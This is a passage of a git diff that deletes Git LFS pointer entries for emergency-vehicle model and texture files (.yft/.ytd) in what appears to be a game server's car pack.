a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9.ytd deleted file mode 100644 index f9932045b..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:fef4fef4d87fded825b5677f793c5fe030ad1fac98990e965f886b9a800a0f0b -size 12445799 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9_hi.yft deleted file mode 100644 index 0eb16530c..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:70874204ed94d712cb18407e86b6e298014e6ede8420780a209eacd3dba687b2 -size 8548779 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe.yft deleted file mode 100644 index 176495862..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:13686a17330269d45cc82007b6587bdf29499f230cffb61efb7e4896a83e1f05 -size 9294044 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe.ytd deleted file mode 100644 index 033afea59..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:3b718f5398657004a45ded9731573ae5ed6a451a52cd692924d0bb904f91bac2 -size 10695717 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe_hi.yft deleted file mode 100644 index 040c22aa6..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:cb1de5dcaa7d5bc73ddfc23ea40e866174f6830eeb2c5aa307238657fc658640 -size 9293906 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9.yft deleted file mode 100644 index ae6a9b9a2..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:686c5e2c8effe073ddf5fe174dbfa49c57d58a4bf02c6e1daf91a77a3db23fe3 -size 8775980 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9.ytd deleted file mode 100644 index 0116a188a..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:a5b1741c44d7d22a6928e36d6d3549d1a69f245ea84bd4df9faaf446a7c27aeb -size 11645353 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9_hi.yft deleted file mode 100644 index 81e46e77f..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:f9c246f00915cf36a8ad306cfc9811ad0d85a2ddfb8b48860778b178c386c28a -size 8775809 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv.yft deleted file mode 100644 index f0113c9d7..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:2e536d799fa041b04ca022205c55186f4d6f0c8312385c7d65c32e307c5ace8f -size 14945121 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv.ytd deleted file mode 100644 index 801dd3be5..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:f382af81be83a1e4ae13e116f102e0715c8c93ad51945b830ac7f3ed39b59916 -size 10927073 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv_hi.yft deleted file mode 100644 index 039821c85..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:48cc29cf9bbf83a8ac5e829b5fcdc99e074908f60e4a5f37ba4963ce26742275 -size 14945064 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp.yft deleted file mode 100644 index 2a039a363..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:e5ed8e7547f7ad396aa4a196297ee21c08e93bff71e679aa08d610494095fb22 -size 9493707 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp.ytd deleted file mode 100644 index 566784c23..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:ad35612a8194b33a32e8e576b3bc59d3206e39499eef508c5f0a97184a74dbe7 -size 7803129 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp_hi.yft deleted file mode 100644 index 77b9e8efa..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:1e6ce0bd200753844e45fd0f295e341eb8e7a9fd49a67a5f5be4331df042806a -size 9493673 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw.yft deleted file mode 100644 index 78cc94369..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:2e08ca191779de91f73779931f71d0cae9382b7ffc0d0e09b44b7869ce597bd4 -size 4148006 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw.ytd deleted file mode 100644 index 619516017..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:cce492894a6675c88eec0eba7a2d546caa68ede327ec85ea2459b7d0240b4871 -size 15164709 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw_hi.yft deleted file mode 100644 index 9423089f2..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:13352bebbbb9d4a42f583e66aba2f44e97b218e92425abdd4362669db8bb89f3 -size 4148003 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat.yft deleted file mode 100644 index b16b4f6d4..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:c7d3d3a58395caf0a5c6fa360fe1eb59fc9794c1708864f09f77b1e27eee5ef4 -size 4587392 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat.ytd deleted file mode 100644 index 61966e9b4..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:ef85fdd9ec3fa016b650855fabdcffb8855f1a64eb7a6164953f0e41b23d8ff7 -size 6365517 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat_hi.yft deleted file mode 100644 index 4b8c6df70..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:0daebac110e8d863b90007d5311a1d10839357da94247171c77e69af00b0c726 -size 4587372 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero.yft deleted file mode 100644 index 809b3e8bd..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:6c6df8f6064c8d60a763a9dfce3f57c922dd2a14ede56a031d714378af7519e9 -size 9718521 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero.ytd deleted file mode 100644 index 456cfba28..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:2cce31c9788a1afa5d864bfc45170959ad2db80efa787cccae1a6bb64926e7de -size 14337973 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero_hi.yft deleted file mode 100644 index 0f965df05..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:827525db2a430b4a3c324608b3c5c669cf84e66dec1fd3c4023c0387dc9f87cd -size 9718424 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap.yft deleted file mode 100644 index ef51b1127..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:137ad238d6883cf91de63d22d236afad5a2cfe770c79ae1583ae4c70ccc58c67 -size 6383632 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap.ytd deleted file mode 100644 index cc64e3cae..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:b951184ed93171ec87aa4c6d281480a53eb05a5ec90e17efc8952d3004328580 -size 9557289 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap_hi.yft deleted file mode 100644 index c76e82c73..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:70deeac404337af1b0601071495f6389cc08428208ae885c4b9fc567b0043d19 -size 6383639 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi.yft deleted file mode 100644 index 0068d8a24..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:435ecce10550d3ae41a75d3298111a6c1649019d6ea541c769bd16e406f8ae42 -size 6082219 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi.ytd deleted file mode 100644 index 1b915873c..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:95ad5497ff462424e5d465fe2cc677babfb4306309af4fa81d479455bce9a419 -size 9230344 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi_hi.yft deleted file mode 100644 index 5b873069b..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:05160bcf295f618d4841792981be2a149d21ab8cd4436d20f5c2de9b31db048e -size 6082081 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango.yft deleted file mode 100644 index b69acbfce..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:dede07804519e768525f9dd5ebf6068da98da8b171c34aadc8418a3f1a4bfb9b -size 11054790 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango.ytd deleted file mode 100644 index f8d947975..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:f06ad6fad40558cb8e29e89b7f015d1ed164dcd4d2e10b14525623afc5fe2866 -size 13800481 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango_hi.yft deleted file mode 100644 index 58b9fce6e..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:78a1998b615ea207e84f1b51a743e30a2f235d85245146cfc09c7ade052c6332 -size 11054690 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150.yft deleted file mode 100644 index b45bae615..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:183653b0e8ff132d19533b2ba97745dd5d556fecc5c42851df94e1f7ae855116 -size 8993734 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150.ytd deleted file mode 100644 index 97ef4e5ed..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:83acc83ca5cad0a6c359361d2e21e407e3cab4d2188078d84554f14d574a4730 -size 10634191 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150_hi.yft deleted file mode 100644 index 210e9c33c..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:c3e49f30cb07508eb234bf9f9fca33b612d2dfd9d3eaf4030c4167665c5f3f4a -size 8993650 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250.yft deleted file mode 100644 index 34dc5e19d..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:1343f01ee55dd45fffcac15d49c8bc80f857743576f287d1b3d4fb6d0255288a -size 12830265 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250.ytd deleted file mode 100644 index 7ccc98faf..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:006c4620932312572bc680dc801aad9c7ae2094edf93a60b0d0708b380e8922f -size 14930043 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250_hi.yft deleted file mode 100644 index bb0c7b0d3..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:ac61569f89f914b8d0bc13d00cac08fdacf9f5e5c91aef8ca6af68fb1cf96aa1 -size 12830129 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis.yft deleted file mode 100644 index a6d040560..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:1649b59febce2a5f10d41c57842039c404ff5513802e34754bf381da5c75246d -size 7436829 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis.ytd deleted file mode 100644 index f1ba47218..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:d10d55e49d16a725bdee08fc2fa55077c714a59b9e10a329c4eb493a0d8e2026 -size 10470174 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis_hi.yft deleted file mode 100644 index 04ddde9ec..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:e2d82aa78f283d841904da42bd4c77e063f8079fe5523439f254a0bd444f5342 -size 7436698 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator.yft deleted file mode 100644 index 04404339b..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:2ab861f5c8e0c9e2e830d7d03cbb150f3348b2062269b040ba6e2a6d9337cbe7 -size 7015362 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator.ytd deleted file mode 100644 index f6aebae89..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:80df1daebfa07ebf545af30b7aa962e66069ce8d2b8a331410838c7b46c8ee37 -size 10694833 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator_hi.yft deleted file mode 100644 index 0fe5af348..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:1a8a5db05fd54a2aa54dd97235d8ec9973b6e3f1b9cc539852a216a73ee23055 -size 7015285 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley.yft deleted file mode 100644 index e0c05e8db..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:d8e8ccf06e5e0dbc0129b5b2156c885f1f09f4a240e10eb9b36aa98d28d82f4a -size 5312059 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley.ytd deleted file mode 100644 index 0d740dd78..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:0cfdf8532e2c6aa81345087f5e60c71c79ca3e91040cf8b7d451568a106eda82 -size 12225870 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley_hi.yft deleted file mode 100644 index 253af7a80..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:acfc30a0016a769ca202ae63bf8dfa2289ccd44b07eda331de9dd7a932f27ca1 -size 5312021 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang.yft deleted file mode 100644 index 61a30f794..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:bc70276c560ae1679097f0ab30f78ef2e8194510cf3a097422f8715ef6a8771c -size 9964670 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang.ytd deleted file mode 100644 index 35b28564f..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:75a655166f456214faa75c63efa16b5beaa0aa4087573a5a20076776cf7b0370 -size 13194007 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang_hi.yft deleted file mode 100644 index 9760d83b4..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:b6fe87615fbc9ed3d3337c62518a31e3a81d2a59b8e43a91675e3e4526c2a500 -size 9964572 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram.yft deleted file mode 100644 index 9c795fcea..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:2a3a90dd9e416792caa35b619676028508df003ad8126a26d2e95338827359d3 -size 8435587 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram.ytd deleted file mode 100644 index 225e07d26..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:4ab90b7971e41c0475bee3e189fe241be9c846f92c7f925b0278ecdc5ee85fd3 -size 11752533 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram_hi.yft deleted file mode 100644 index ec7295b33..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:ee3372f13ac0e0af203951e44e07d1d220cd1b12c14b99cdbb3602189a3479a2 -size 8435543 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado.yft deleted file mode 100644 index 2640f8f68..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:ec0d0440fc513e3170aae6b05fb3e83218d9ceb1b8aff0a5a899a6fdbdd34599 -size 9393122 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado.ytd deleted file mode 100644 index b21f56f88..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid 